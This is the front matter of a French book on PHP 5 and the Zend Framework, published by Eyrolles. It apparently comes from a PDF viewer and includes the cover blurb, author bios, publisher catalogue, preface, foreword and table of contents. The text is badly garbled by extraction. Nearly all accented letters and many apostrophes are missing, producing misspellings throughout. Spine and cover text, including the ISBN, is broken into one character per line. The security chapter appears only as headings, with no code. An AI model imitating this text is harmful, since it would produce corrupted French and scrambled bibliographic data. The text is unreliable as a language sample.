Vous êtes sur la page 1sur 466

Programmez intelligent

Zend Framework
En imposant des rgles strictes de gestion de code et en offrant une trs
riche bibliothque de composants prts lemploi, le framework PHP 5 Zend
Framework guide le dveloppeur web dans lindustrialisation de ses dvelop-
pements, afin den garantir la fiabilit, lvolutivit et la facilit de maintenance.
Cet ouvrage prsente les meilleures pratiques de dveloppement web avec
PHP 5 et le Zend Framework : design patterns, MVC, base de donnes, scu-
rit, interoprabilit, tests unitaires, gestion des flux et des sessions, etc.
Non sans rappeler les prrequis techniques et thoriques lutilisation du fra-
mework, louvrage aidera tant les dveloppeurs dbutants en PHP que les
chefs de projets ou architectes aguerris souhaitant lutiliser en entreprise.
39
9
7
8
2
2
1
2
1
2
3
9
2
0
avec
les
Cahiers
du
Programmeur
C
o
n
c
e
p
t
i
o
n

c
o
u
v
e
r
t
u
r
e
:

N
o
r
d
c
o
m
p
o
Architecte certifi PHP et Zend
Framework, Julien Pauli est
responsable du ple Zend Frame-
work/PHP chez Anaska (groupe
Alter Way). Contributeur de la pre-
mire heure au framework en colla-
boration avec Zend Technologies,
confrencier et membre de lAFUP,
il publie des articles sur PHP dans la
presse.
Fondateur et grant de la socit
OpenStates ( partenai re Zend
T e c h n o l o g i e s e t An a s k a ) ,
Guillaume Ponon intervient
depuis plus de sept ans auprs de
grands comptes sur de nom-
breuses missions dexpertise, de
conseil et de formation PHP. Ing-
nieur EPITA, expert certifi PHP et
Zend Framework, il est aussi sp-
cialiste des systmes Unix/Linux et
pratique Java et C/C++. Trs im-
pliqu dans la communaut PHP,
avec la prsidence de lAFUP en
2007-2008 et la cration de la
Web TV PHPTV, il est lauteur de
louvrage Best practices PHP 5 et
coauteur du Mmento PHP et SQL
aux ditions Eyrolles.
Sommaire
Zend Framework

Inconvnients et avantages

Structure et principes

Conseils
pour dmarrer

Cahier des charges

Une application de rservations de salles

Spcifications fonctionnelles et techniques



Conventions

Installation et prise en
main

Tlchargement et configuration

Composants de base

Chargement des
classes

Gestion des messages

Dbogage

Exceptions

Registre

Bases de don-
nes

SGBD compatibles

PDO

Excution de requtes

Passerelles et modles
de donnes

Performances et scurit des donnes

tendre Zend_Db

MVC : pre-
mire approche

Parcours de la requte

Crer une vue

Crer un gabarit gn-
ral

MVC avanc

Les objets de MVC

Routage

Dispatching

Plugins

Aides de
vues et daction

Distributeur

Configuration

Sessions

Le composant session

Espaces de noms

Authentification

Adaptateurs

Listes de contrle daccs

Ressources et rles des ACL



Internationalisation

Gestion de la locale

Multilinguisme

Gettext/TMX

Monnaies

Dates

Performances

Cache

APC

Gestion de la mmoire

Compilation

Scurit

Validateurs

Filtres

Attaques cou-
rantes et parades

Interoprabilit

REST

SOAP

Flux de donnes

Autres com-
posants

E-mails

PDF

Formulaires

Outils et mthodologie

Zend Studio pour
Eclipse (IDE)

Dbogage

Profilage

Tests

Utilisation avance

Crer et driver
des composants

Intgration

Annexes

Ce quest un framework

Rappel sur les
bases de donnes

Programmation oriente objet

Motifs de conception (design pat-
terns)

MVC

PHP

Subversion

PHPUnit.
Julien Pauli
Guillaume Ponon
Bien dvelopper en PHP
Prface de Wil Sinclair
les
Cahiers
du
Programmeur
J
.

P
a
u
l
i
G
.

P
o
n

o
n
Z
e
n
d
F
r
a
m
e
w
o
r
k
C
o
d
e

d
i
t
e
u
r
:

G
1
2
3
9
2
I
S
B
N
:

9
7
8
-
2
-
2
1
2
-
1
2
3
9
2
-
0
_ _ g
les
Cahiers
du
Programmeur
Zend
Framework
PDT_12392_ZEND 30/10/08 9:23 Page 1
Collection Les cahiers du programmeur
P. ROQUES. UML 2. Modliser une application web. N12389, 6
e
dition, 2008, 247 pages
A. GONCALVES. Java EE 5. N12363, 2
e
dition, 2008, 370 pages
E. PUYBARET. Swing. N12019, 2007, 500 pages
E. PUYBARET. Java 1.4 et 5.0. N11916, 3
e
dition, 2006, 400 pages
J. MOLIRE. J2EE. N11574, 2
e
dition, 2005, 220 pages
R. FLEURY Java/XML. N11316, 2004, 218 pages
J. PROTZENKO, B. PICAUD. XUL. N11675, 2005, 320 pages
S. MARIEL. PHP 5. N11234, 2004, 290 pages
Chez le mme diteur
E. DASPET, C. PIERRE DE GEYER. PHP 5 avanc. N12369, 5
e
dition, 2008, 844 pages
J.-M. DEFRANCE. Premires applications Web 2.0 avec Ajax et PHP. N12090, 2008, 450 pages
D. SEGUY, P. GAMACHE. Scurit PHP 5 et MySQL. N12114, 2007, 250 pages
C. PORTENEUVE Bien dvelopper pour le Web 2.0. Bonnes pratiques Ajax. N12391, 2
e
dition, 2008, 674 pages
A. BOUCHER. Mmento Ergonomie web. N12386, 2008, 14 pages
V. MESSAGER-ROTA. Gestion de projet. Vers les mthodes agiles. N12165, 2007, 252 pages
H. BERSINI, I. WELLESZ. Lorient objet. N12084, 3
e
dition, 2007, 600 pages
P. ROQUES. UML 2 par la pratique. N12322, 6
e
dition, 368 pages
S. BORDAGE. Conduite de projet Web. N12325, 5
e
dition, 2008, 394 pages
K. DJAAFAR. Dveloppement JEE 5 avec Eclipse Europa. N12061, 2008, 380 pages
J. DUBOIS, J.-P. RETAILL, T. TEMPLIER. Spring par la pratique. Java/J2EE, Spring, Hibernate, Struts, Ajax. N11710, 2006, 518 pages
T. ZIAD. Programmation Python. N11677, 2006, 530 pages
Du mme auteur
G. PONON. Best practices PHP 5. Les meilleures pratiques de dveloppement en PHP. N11676, 2005, 470 pages
C. PIERRE DE GEYER, G. PONON. Mmento PHP et SQL. N11785, 2006, 14 pages
Collection Accs libre
Pour que linformatique soit un outil, pas un ennemi !
Joomla et Virtuemart Russir sa boutique en ligne. V. ISAKSEN, T. TARDIF. N12381, 2008, 270 pages
Open ERP Pour une gestion dentreprise efficace et intgre. F. PINCKAERS, G. GARDINER. N12261, 2008, 276 pages
Russir son site web avec XHTML et CSS. M. NEBRA. N12307, 2
e
dition, 2008, 316 pages
Ergonomie web. Pour des sites web efficaces. A. BOUCHER. N12158, 2007, 426 pages
Gimp 2 efficace Dessin et retouche photo. C. GMY. N12152, 2
e
dition, 2008, 402 pages
La 3D libre avec Blender. O. SARAJA. N12385, 3
e
dition, 2008, 400 pages avec CD-Rom et cahier couleur ( paratre).
Scenari La chane ditoriale libre. S. CROZAT. N12150, 2007, 200 pages
Crer son site e-commerce avec osCommerce. D. MERCER, adapt par S. BURRIEL. N11932, 2007, 460 pages
Russir un site web dassociation avec des outils libres. A.-L. ET D. QUATRAVAUX. N12000, 2
e
dition, 2007, 372 pages
Ubuntu efficace.. L. DRICOT et al. N12003, 2
e
dition, 2007, 360 pages avec CD-Rom
Russir un projet de site Web. N. CHU. N12400, 5
e
dition, 2008, 230 pages
les
Cahiers
du
Programmeur
Zend
Framework
Julien Pauli
Guillaume Ponon
Prface de Wil Sinclair
Bien dvelopper en PHP
PDT_12392_ZEND 30/10/08 9:24 Page 3
DITIONS EYROLLES
61, bd Saint-Germain
75240 Paris Cedex 05
www.editions-eyrolles.com
Le code de la proprit intellectuelle du 1
er
juillet 1992 interdit en effet expressment la photocopie usage collectif sans
autorisation des ayants droit. Or, cette pratique sest gnralise notamment dans les tablissements denseignement,
provoquant une baisse brutale des achats de livres, au point que la possibilit mme pour les auteurs de crer des uvres
nouvelles et de les faire diter correctement est aujourdhui menace.
En application de la loi du 11 mars 1957, il est interdit de reproduire intgralement ou partiellement le prsent ouvrage,
sur quelque support que ce soit, sans autorisation de lditeur ou du Centre Franais dExploitation du Droit de Copie, 20,
rue des Grands-Augustins, 75006 Paris.
Groupe Eyrolles, 2009, ISBN : 978-2-212-12392-0
Dessins douverture des chapitres : Guillaume Ponon.
Groupe Eyrolles, 2008
Lors de la premire confrence Zend/PHP en 2005, la socit Zend
Technologies a prsent le Zend Framework comme tant un lment
cl et dcisif dans le projet de la communaut PHP. cette poque,
PHP tait connu pour tre la seule solution de dveloppement web com-
binant puissance et simplicit de mise en uvre. Cependant, nombre de
dveloppeurs saperurent que leurs simples scripts PHP, qui traitaient
la fois laccs des bases de donnes, la logique mtier et laffichage, ne
pouvaient tenir la dure face la complexit croissante des applications
web modernes. Est alors devenue vidente la ncessit de structurer les
applications pour les rendre plus faciles maintenir et tirer parti du
potentiel de PHP 5.
Le Zend Framework a certainement beaucoup contribu lorganisation
et la structuration des applications PHP 5, tout en ayant rsolu
dautres problmes inhrents au dveloppement web. Il fournit des com-
posants dutilisation courante qui sont tests (les tests couvrent au moins
80 % de lensemble du code) de manire ce que les dveloppeurs PHP
ne rinventent pas la roue chaque nouvelle application. En outre, les
standards de codage quil met en uvre amliorent et facilitent la gestion
des projets engageant des quipes entires de dveloppeurs. Plus impor-
tant encore, utiliser le Zend Framework encourage les bonnes pratiques
de dveloppement PHP, puisque lui-mme les met en application. Nous
incitons ainsi les dveloppeurs amliorer leur code en leur apportant ce
que nous pensons tre des fondations solides, crites proprement.
Au fil des annes, le Zend Framework sest enrichi de nombreux compo-
sants, a vu exploser le nombre de ses contributeurs et utilisateurs ainsi
que le nombre de ses dploiements, au point quil est devenu le fra-
mework leader pour les projets PHP des plus modestes aux plus ambi-
Prface
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
VI
tieux, quils soient mens par des amateurs ou par les plus grands
comptes. Utilis partout dans le monde, on le trouve au cur dapplica-
tions aux usages aussi divers que le recensement des gnocides en
Afrique ou llevage danimaux virtuels en ligne. Nous sommes trs fiers
de constater que de tels projets aient pu voir le jour grce cet outil puis-
sant et polyvalent. Et de fait, nous nous plaisons croire que lexistence
du Zend Framework a jou un rle dans ladoption massive de technolo-
gies open source comme PHP et MySQL pour des sites web forte
charge et des applications professionnelles des plus pointues.
Sous laile protectrice de Zend Technologies, les dveloppeurs PHP
pourront continuer, grce au Zend Framework, crire des applications
la qualit sans cesse amliore. En outre, nous persisterons dans la
remise en question de la plupart des compromis gnralement de mise
dans la communaut web : puissance ou simplicit, bibliothque de
composants ou framework, qualit ou ouverture, entreprise ou particu-
lier. Nous sommes convaincus quavec cet outil, les dveloppeurs web
nauront plus faire ces choix difficiles : tout est leur disposition.
Nous esprons que cet ouvrage vous guidera efficacement dans le monde
du Zend Framework pour vous mettre sur la voie du dveloppement
dapplications de meilleure qualit, plus innovatrices et, surtout, qui vous
donneront toute satisfaction.
Los Gatos, le 29 octobre 2008
Wil Sinclair,
Manager Zend Technologies,
chef du projet Zend Framework
Groupe Eyrolles, 2008
Le monde du Web volue sans cesse. Aujourdhui, on ne parle plus de site
Internet, comme ctait le cas avant lan 2000, mais bien dapplication web.
Une application web exploite un ensemble de technologies trs diverses.
Au dbut, un webmestre seul pouvait se charger de sa conception, alors
quaujourdhui, des dizaines de personnes, aux comptences toujours
plus larges et pousses, sont souvent ncessaires pour voluer vers le
Web 2.0 .
PHP, XML, Services web, SQL et bases de donnes, Authentification,
Cryptage, HTTP, Scurit, JavaScript, Ajax, XHTML et Standards
sont autant de termes relatifs une ou plusieurs technologies plus ou
moins diffrentes les unes des autres, et qui pourtant interagissent les
unes avec les autres.
Dici quelques annes, la diffrence entre une application dite client
lourd, qui sexcute de manire autonome, et une application dite client
lger, qui ncessite un navigateur web, sestompera. Les programmes ont
de plus en plus tendance tre orients Web.
La difficult croissante lie la conception dapplications web a fait
natre des solutions et des outils. Le framework en fait partie. Permet-
tant de cadrer srieusement les dveloppements en proposant des rgles
strictes de dveloppement, ainsi que des composants gnriques et prts
lemploi, Zend Framework est lun dentre eux.
Zend Framework est ainsi un cadre de travail pour PHP 5, langage dont
ladoption ne cesse de crotre en entreprise, pour des projets toujours
plus importants et stratgiques.
Avant-propos
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
VIII
Pourquoi cet ouvrage ?
Cest lintrt croissant pour les frameworks, et en particulier celui de
Zend dj adopt par de nombreux grand groupes dans le monde, qui
a motiv lcriture de cet ouvrage. travers cet outil, chacun pourra
juger combien PHP est mr pour le monde de lentreprise. Exploiter les
bonnes pratiques du gnie logiciel et les appliquer PHP a permis de
monter lun des frameworks les plus puissants du march, qui rend pos-
sible le dveloppement dapplications web stratgiques et complexes.
Pourtant, limage exacte de PHP, la matrise de cet outil est loin dtre
simple, mme si sa prise en main ne prsente pas de difficult particu-
lire. Cest ainsi que Zend Framework dispose dun examen de certifica-
tion officiel, pilot par Zend. Cet ouvrage apparat donc naturellement
comme une prsentation de Zend Framework et son utilisation, travers
un exemple concret et des dtails prcis sur de nombreux modules com-
posant le framework.
qui sadresse ce livre ?
Cet ouvrage cible avant tout le dveloppeur, mais aussi le chef de projet,
larchitecte ou encore le dcideur. Le choix dun framework est lourd de
consquences. Cet cahier aborde donc Zend Framework en largeur dans
un premier temps, puis dans le dtail de ses principaux composants. Il se
rvle galement tre une ressource complte qui aborde de nombreux
prrequis dans ses annexes.
Dcideurs et chefs de projet : dcouvrez comment Zend Framework
organise et cadre le dveloppement de vos projets, de lanalyse la
conception, en passant par les tests et le dploiement.
Dveloppeurs et architectes : apprenez matriser les composants de
Zend Framework et voyez comment celui-ci vous met sur une voie
qui vous permettra de travailler en harmonie, grce des bonnes pra-
tiques de programmation telles que les design patterns.
Structure de louvrage
Cet ouvrage se divise en deux grandes parties :
les chapitres sont consacrs Zend Framework. Une application
dexemple sert de support, exposant un projet concret qui vous suivra
tout au long de votre lecture pour illustrer les diffrents concepts ;

A
v
a
n
t
-
p
r
o
p
o
s
Groupe Eyrolles, 2008
IX
les annexes abordent les notions thoriques et les prrequis, autant de
connaissances ncessaires pour adopter Zend Framework dans son
ensemble et en faire une utilisation optimale.
Dveloppement dune application exemple
Le chapitre 1 introduit le concept de framework, pour en arriver rapide-
ment Zend Framework. Nous y dtaillons sa structure et les avantages
quil apporte.
Le chapitre 2 prsente lanalyse du cahier des charges de lapplication
exemple qui est utilise tout au long de louvrage. Vous y trouverez aussi
les conventions de rdaction que nous avons utilises.
Le chapitre 3 explique comment installer Zend Framework et comment
le manipuler de manire simple et rapide, afin de pouvoir passer ensuite
une utilisation plus dtaille.
Une prise en main efficace des composants de base de Zend Framework
sera aborde dans le chapitre 4. Ces composants sont omniprsents dans
le framework, nous les tudions donc de manire dtaille.
Le chapitre 5 est consacr aux bases de donnes. Notre application
exemple en toile de fond, vous apprendrez de manire simple dans un
premier temps, puis plus pousse par la suite, matriser un SGBD avec
Zend Framework.
Prendre en main rapidement le modle MVC de Zend Framework
constitue lobjectif du chapitre 6. Tout ce qui caractrise ce modle avec
Zend Framework y est prsent, et cela vous permettra de matriser son
fonctionnement par dfaut.
Aprs cette prise en main de MVC, le chapitre 7 vous plongera au plus
profond du cur de ce modle, poussant le dtail jusqu prsenter tous
les artifices qui le composent. Une telle comprhension est trs impor-
tante pour la matrise totale de vos applications futures.
Le chapitre 8, quant lui, vous explique comment fonctionne la gestion
des sessions PHP avec Zend Framework, tout en sattardant sur les con-
cepts didentification et de gestion des droits dans une application.
La gestion des langues et linternationalisation sont ensuite abordes
dans le chapitre 9.
Le chapitre 10 est consacr aux performances, ou comment utiliser des
composants de Zend Framework permettant la monte en charge de
lapplication.
La scurit de vos applications tant un point crucial, le chapitre 11
explique comment mettre en place une politique de scurit efficace avec
Zend Framework.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
X
Ouvrir son application sur le monde extrieur sera lobjectif du
chapitre 12, dans lequel vous prendrez en main les composants dintro-
prabilit de Zend Framework et la gestion des services web.
Le chapitre 13 traite dautres composants divers que notre application
utilise pour grer des formulaires ou encore gnrer des documents PDF.
Comment squiper pour monter une application web avec Zend
Framework ? Le chapitre 14 dtaille les outils utiles un dveloppement
efficace : IDE, dbogueur, profileur et tests MVC.
Enfin, le chapitre 15 est un guide dans la cration de vos propres com-
posants, dcrivant comment tendre ceux de Zend Framework, qui sy
prtent merveille.
Prrequis pour bien dvelopper
Lannexe A vous apprend ce quest un framework et quoi un tel outil
est utile en entreprise.
Lannexe B dtaille de manire thorique et pratique les concepts gn-
raux lis aux SGBD et aux bases de donnes.
La programmation oriente objet avec PHP 5 naura plus de secret pour
vous aprs la lecture de lannexe C.
Une bonne conception objet passe par la matrise des design patterns.
Cette notion importante est dtaille en annexe D.
Quant lannexe E, elle est consacre au concept thorique de MVC.
Bien programmer en PHP passe obligatoirement par la connaissance des
rouages internes du langage : lannexe F se charge de vous prsenter
comment fonctionne PHP.
Lannexe G est consacre au logiciel Subversion, qui permet la gestion
efficace des sources dun projet. Cet outil est utilis par Zend Fra-
mework.
Enfin, la testabilit logicielle est gage de qualit et de gain de temps.
Tester un programme est une pratique que tente de dmystifier
lannexe H, centre sur loutil PHPUnit.
Remerciements
Nous souhaitons remercier :
Lensemble des personnes qui nous ont accompagnes de prs ou de loin
dans cette preuve, commencer par nos interlocuteurs dEyrolles pour le

A
v
a
n
t
-
p
r
o
p
o
s
Groupe Eyrolles, 2008
XI
temps et lnergie quils nous ont consacrs : Karine Joly, Muriel Shan Sei
Fan et toute lquipe ayant particip la mise en forme de cet ouvrage.
Les personnes qui nous ont soutenus et qui ont particip aux relectures
en particulier Romain Bourdon, Eric Colinet et Cyril Pierre de Geyer,
ainsi que celles qui sont intervenues occasionnellement sous forme de
relectures, corrections ou tests des exemples Jean-Marc Fontaine,
Damien Sguy, Lu Wang.
Nos socits respectives, qui nous ont apport leur soutien et accord du
temps : Anaska, spcialiste des formations sur les technologies open
source, et OpenStates, spcialiste des missions dexpertise PHP et Zend
Framework auprs des entreprises.
Nos familles et nos conjoints qui nous ont galement soutenus et qui
nous devons de nombreuses soires et week-ends.
Et enfin, lquipe Zend de dveloppement du Zend Framework, qui
nous a motivs, soutenus, et surtout sans qui cet ouvrage naurait natu-
rellement jamais exist.
PROPOS DES AUTEURS
Julien Pauli est architecte certifi PHP et Zend Fra-
mework. Il travaille avec PHP tous les jours depuis 2003
et possde des notions de Java et de C++. Formateur et
consultant chez Anaska (Alter Way), il est responsable
du ple Zend Framework/PHP dans cet organisme de
formation en technologies open source. Depuis 2006
(les prmices du projet), il est galement contributeur
au Zend Framework en participant llaboration de
son code source, la correction de bogues, la traduc-
tion de sa documentation et aux grandes lignes de
dveloppement, en collaboration directe avec les
quipes de Zend. Confrencier et consultant, il est
membre de lAFUP et toujours prt consacrer du
temps PHP. Il publie des articles dans la presse, et sur
http://julien-pauli.developpez.com.
Guillaume Ponon est expert PHP et Zend Framework,
fondateur et grant de la socit OpenStates, spcia-
lise dans les missions PHP stratgiques et partenaire
Zend Technologies et Anaska. Ingnieur EPITA, licenci
en informatique et certifi entre autres PHP, il inter-
vient quotidiennement depuis plus de sept ans sur de
nombreuses missions dexpertise, de conseil et de for-
mation PHP et Zend Framework, auprs de grands
comptes et dentreprises francophones. Il est galement
spcialiste des systmes Unix/Linux et pratique les tech-
nologies Java et C/C++. Guillaume consacre beaucoup
de temps PHP et sa communaut. Il est en particulier
auteur de louvrage Best practices PHP 5 et coauteur du
Mmento PHP et SQL, tous deux publis aux ditions
Eyrolles, confrencier et rdacteur sur de nombreux
salons et revues de presse, prsident de lAFUP 2007-
2008, fondateur et producteur de la principale mission
Web TV consacre PHP : PHPTV (http://www.phptv.fr).
Pour en savoir plus : http://www.openstates.com.
Table des matires
Groupe Eyrolles, 2005
XIII
AVANT-PROPOS..........................................................VII
1. INTRODUCTION ZEND FRAMEWORK.............................. 1
Avantages et inconvnients de Zend Framework 2
Structure et principe 3
Les rgles de dveloppement 4
Les composants rutilisables 4
Larchitecture 4
Conseils pour bien dmarrer avec Zend Framework 5
Prrequis 5
tat desprit 6
En rsum 7
2. CAHIER DES CHARGES DE LAPPLICATION EXEMPLE............ 9
Expression du besoin 10
Lobjectif : votre application ! 10
Spcifications fonctionnelles et techniques 11
Maquettes 12
Mises en garde et conventions 18
Conventions 18
Plateforme technique 18
En rsum 19
3. INSTALLATION ET PRISE EN MAIN.................................. 21
Tlchargement du paquetage 22
Tlchargement sous Windows 23
Tlchargement sous Unix 23
Configuration du serveur Apache 23
Tlchargement par le dpt Subversion 24
Premire utilisation du framework 25
En rsum 26
4. COMPOSANTS DE BASE................................................ 29
Configuration de lenvironnement 30
Zend_Loader 30
Exemple dutilisation 31
Chargement manuel dune classe 31
Chargement automatique dune classe (autoload) 32
Aller plus loin avec Zend_Loader 32
Intgration dans lapplication 34
Zend_Config 34
Exemples dutilisation 35
Avec un fichier ini 35
Avec un fichier XML 36
Avec un fichier PHP 37
Intgration dans notre application 38
Zend_Log 40
Quelques notions 40
Exemple dutilisation 41
Utilisation conjointe avec Zend_Config 42
Intgration dans notre application 43
Zend_Debug 43
Exemple dutilisation 43
Utilisation conjointe avec Zend_Log 44
Zend_Exception 44
Zend_Registry 45
Exemple dutilisation 46
Intgration dans lapplication 46
En rsum 47
5. ACCS AUX BASES DE DONNES .................................... 49
Introduction 50
Utiliser les SGBD 51
Les SGBD utilisables par Zend Framework 51
Cration dune connexion 51
Requtes sur une base de donnes 53
Envoyer des requtes 55
Effectuer des requtes de type SELECT avances 57
Utiliser la passerelle vers les tables 59
Crer et excuter des requtes 60
Manipuler des donnes 61
Rcuprer des enregistrements 61
Modifier et sauvegarder des enregistrements 63
Agir sur les tables dpendantes 65
Performances et stabilit 68
Les bons rflexes 69
Aller plus loin avec le composant Zend_Db 69
Crer ses requtes personnalises 69
tendre Row et Rowset 71
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
XIV
En rsum 74
6. ARCHITECTURE MVC .................................................. 77
Zend_Controller : utilisation simple 78
Mettre en place larchitecture 78
Parcours dune requte HTTP 79
Exemple simple dutilisation de Zend_Controller 80
Mettre en place le squelette de lapplication 82
Code du squelette 83
Attribuer des paramtres la vue 84
Manipulation des donnes HTTP 85
Initialisation et postdispatch 87
Zend_Layout : crer un gabarit de page 88
Appel et contenu du gabarit principal 89
En-tte et pied de page 91
Dclaration du sous-menu 92
Gestion par dfaut des erreurs 93
Les aides daction 94
Utiliser une aide daction existante 95
Crer une aide daction utilisateur 96
En rsum 99
7. ARCHITECTURE MVC AVANCE................................... 101
Zend_Controller : utilisation avance 102
Les diffrents objets de MVC 102
Fonctionnement global de MVC 104
Excution du processus de distribution de la requte 105
Un processus flexible et avanc 108
Fonctionnement dtaill des objets du modle MVC 109
Contrleur frontal (FrontController) 109
Objet de requte 113
Objet de rponse 115
Routeur 117
Plugins de contrleur frontal 120
Plugins inclus dans la distribution de Zend
Framework 123
Le distributeur (dispatcheur) 125
Les contrleurs daction 126
Les aides daction 129
La vue 142
Les aides de vue 143
Les filtres de vue 147
En rsum 148
8. SESSIONS, AUTHENTIFICATION ET AUTORISATIONS......... 151
Notions lmentaires 152
Les sessions 153
Pourquoi choisir Zend_Session ? 153
Configurer sa session 154
Utiliser les espaces de noms 155
Gestion de lauthentification avec Zend_Auth 156
Pourquoi utiliser Zend_Auth ? 157
Les adaptateurs 157
Exemple dutilisation 158
Zend_Acl : liste de contrle daccs 160
Pourquoi utiliser Zend_Acl ? 160
Un peu de thorie sur les ACL 160
Exemple pratique 161
En rsum 165
9. INTERNATIONALISATION ............................................. 167
Avant de commencer... 168
Les composants Zend et leurs quivalents PHP 168
Attention aux jeux de caractres 169
Zend_Locale : socle de base de linternationalisation 169
Zend_Translate : grer plusieurs langues 170
Pourquoi utiliser Zend_Translate ? 171
Les adaptateurs 171
Exemple simple dutilisation 172
Exemple de changement dadaptateur 174
Internationalisation avance 175
Rgles darchitecture 175
Mettre en place ladaptateur gettext 176
Mettre en place les chanes traduire 176
Crer les fichiers de traduction gettext (*.mo) 177
Modifier la langue 178
Zend_Currency : gestion des monnaies 179
Pourquoi utiliser Zend_Currency ? 179
Affichage des monnaies 179
Informations sur les monnaies 180
Zend_Date : gestion de la date et de lheure 180
Pourquoi utiliser Zend_Date ? 180
En rsum 182
10. PERFORMANCES...................................................... 185
Quest-ce que la gestion de cache ? 186
Pourquoi utiliser un cache ? 186
Mises en garde concernant la gestion du cache 186
Zend_Cache : gestion du cache 187
Choisir son frontal et son support de cache 188
Utilisation de Zend_Cache dans lapplication 190
Implmentation de Zfbook_Cache 190
Utilisation du cache dans lapplication 192
Amlioration des performances des composants
Zend 193
Zend_Memory : gestion de la mmoire 194
T
a
b
l
e

d
e
s

m
a
t
i

r
e
s
Groupe Eyrolles, 2005
XV
Exemple pratique 194
Amliorer les performances gnrales de lapplication 195
Les bons rflexes 195
Compiler Zend Framework dans APC 196
En rsum 199
11. SCURIT............................................................... 201
En quoi consiste la scurit sur le Web ? 202
Rgles de scurit lmentaires 203
Solutions de scurit de Zend Framework 203
Les validateurs 203
Les filtres 204
Les attaques courantes 204
Le Cross Site Scripting (XSS) 205
Attaque XSS 206
Les protections 206
Le Cross Site Request Forgery (CSRF) 207
Attaque CSRF 208
Les protections 209
Sessions et Cookies 209
Attaque dune session 210
Les protections 210
Linjection SQL 212
Attaque par injection SQL 212
Les protections 212
En rsum 213
12. INTEROPRABILIT ET SERVICES WEB ......................... 215
Linteroprabilit, quest-ce que cest ? 216
Les solutions existantes 217
REST 217
Avantages 217
Inconvnients 217
SOAP 218
Avantages 218
Inconvnients 218
XML-RPC 218
RSS et Atom 218
Prparer le terrain 219
Zend_Rest : linteroprabilit simplifie 222
Principe de REST 222
Zend_Rest : REST, version Zend Framework 223
Zend_Soap : linteroprabilit par dfinition 227
Zend_Feed : pour les protocoles simples RSS et Atom 230
En rsum 235
13. AUTRES COMPOSANTS UTILES................................... 237
Prparation de larchitecture 238
Les composants (library) 238
MVC 242
Zend_Mail : envoi de-mails 243
Envoyer un simple e-mail 243
Envoyer un e-mail complet 245
Zend_Pdf : crer des fichiers PDF 247
Zend_Form: gnration et gestion de formulaires 250
Crer un formulaire 251
Assigner des filtres ou des validateurs 255
Tous les composants de Zend Framework 256
En rsum 258
14. OUTILS ET MTHODOLOGIE ....................................... 261
Lditeur : Zend Studio pour Eclipse 262
Un environnement intgr pour optimiser ses
dveloppements 262
Intgrer Zend Framework dans lIDE 262
Personnaliser ses composants 265
Un code source de meilleure qualit grce au
formateur 266
Le dbogueur 266
Analyse des performances avec le profileur 268
Tests fonctionnels avec Zend_Test 270
Zend_Test, pour quoi faire ? 270
Prise en main de Zend_Test 271
Templates Zend Studio For Eclipse 271
Gestion du bootstrap 272
crire des tests 274
Faut-il tout tester ? 276
En rsum 277
15. UTILISATION AVANCE DES COMPOSANTS................... 279
MVC et les bibliothques 280
Crer un composant utilisateur 281
Rgles fondamentales et conventions 281
Principe et organisation 282
Exemple 282
Modlisation minimale 283
Implmentation du composant 284
Driver un composant existant 288
Rgles fondamentales 288
Ajouter une fonctionnalit un composant 289
Modifier le comportement dun composant 289
Simplifier laccs un ou plusieurs composants 290
Intgrer un composant externe 292
En rsum 293
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2005
XVI
A. QUEST-CE QUUN FRAMEWORK ?............................... 295
Dfinition et objectifs 296
Le framework au service du dveloppement web 297
Risques et prils des pratiques courantes 297
Le framework la rescousse 298
Inconvnients du framework 299
En rsum 300
B. BASES DE DONNES.................................................. 301
Quest-ce quun SGBD? 302
Architecture dun SGBD 302
La base de donnes 303
Exemple simple 303
Notions techniques 303
Reprsentation graphique 304
Types de donnes 304
Cls et contraintes dintgrit 305
Les principaux SGBD du march 305
MySQL 305
Oracle 306
SQLite 307
Connexion PHP 307
Notions avances 309
Les ORM 309
Couches dabstraction 310
Rplication et clustering 310
C. PROGRAMMATION ORIENTE OBJET............................. 311
Concepts de base 312
Tout est question dorganisation 312
Ranger ses procdures dans les bons rayons 313
Quest-ce quune classe ? 313
Dclarer une classe 313
Des classes et des objets 314
Implmentation en PHP 315
Visibilit 316
Construction et destruction 317
Hritage 318
Variables et mthodes statiques 320
Constantes de classe 321
Classes, mthodes abstraites et interfaces 322
Abstract 322
Interfaces 324
Final 325
Modlisation et gnie logiciel 326
Les relations entre classes 326
Lhritage 326
Lassociation 326
Lagrgation 327
La composition 328
La dpendance 328
Les diagrammes UML 329
Le diagramme de cas dutilisation 329
Le diagramme de classes 330
Le diagramme de squence 331
La rtro-ingnierie 331
Les logiciels de modlisation 332
ArgoUML 333
Umbrello 333
StarUML 334
Dia 334
Concepts objet PHP avancs 335
Les exceptions 335
La gestion des objets et les oprateurs 340
Rfrences et clonage 340
Oprateurs et fonctions relatives aux objets 341
Typage dargument 343
Les mthodes magiques 344
__get() et __set() 345
__call() 346
__isset(), __unset() 347
__clone() 348
__toString() 349
__sleep(), __wakeup() 350
Linterface de Rflexion 352
SPL : Standard PHP Library 356
Iterator 357
RecursiveIterator 358
Autres itrateurs 360
Lautoload 361
D. DESIGN PATTERNS .................................................... 365
Comprendre les motifs de conception 366
Motif Singleton 367
Exemple de motif Singleton en PHP 367
Un Singleton dans Zend Framework ? 368
Motif Fabrique 368
Exemple de motif Fabrique en PHP 368
Une Fabrique dans Zend Framework ? 370
Motif Proxy 370
Exemple de motif Proxy dynamique 370
Un Proxy dans Zend Framework ? 373
Motif Observateur/Sujet 374
Exemple de motif Observateur 374
Un Observateur/Sujet dans Zend Framework ? 378
T
a
b
l
e

d
e
s

m
a
t
i

r
e
s
Groupe Eyrolles, 2005
XVII
Motif Registre 378
Exemple de motif Registre 378
Un Registre dans Zend Framework ? 380
Et bien dautres encore... 380
E. LE PATTERN MVC EN THORIE ................................... 383
Pourquoi utiliser MVC? 384
Des avantages pour le travail en quipe 384
Des avantages pour le dveloppement et la maintenance 385
MVC schmatis 386
